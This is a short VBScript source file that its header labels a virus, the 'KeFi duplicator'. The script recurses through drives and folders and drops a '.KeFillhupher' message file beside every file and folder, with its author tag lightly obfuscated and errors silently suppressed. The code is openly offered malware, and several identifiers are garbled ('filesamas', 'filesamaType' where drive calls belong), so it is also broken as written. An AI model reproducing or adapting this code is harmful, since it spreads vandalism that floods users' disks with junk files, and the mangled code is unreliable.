rem - VBS/dlH "KeFi duplicator" Virus - By D.L.
rem - Written on January 11th, 2010

On Error Resume Next
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="KeFillhupher! will alwasy togetherrRR :) - by *|%|"
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))


On Error Resume Next
dim filesama,Duplicate

set Duplicate=FSobj.filesamas
for each filesama in Duplicate
if (filesama.filesamaType=2)or(filesama.filesamaType=3) then
indexFolders(filesama.Path&"\")
end If
next


sub indexFolders(location)
On Error Resume Next
dim specs,file,subFol,sayKeFillhupher

set specs=FSobj.GetFolder(location)
set subFol=specs.SubFolders

for each file in subFol
set sayKeFillhupher = FSobj.CreateTextFile(file.Path&".KeFillhupher", 2, True)
sayKeFillhupher.write finalMes
sayKeFillhupher.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub

sub writeData(location)
On Error Resume Next
dim folder,directory,file,sayKeFillhupher

set folder=FSobj.GetFolder(location)
set directory=folder.Files

for each file in directory
set sayKeFillhupher = FSobj.CreateTextFile(file.Path&".KeFillhupher", 2, True)
sayKeFillhupher.write finalMes
sayKeFillhupher.Close
next
end sub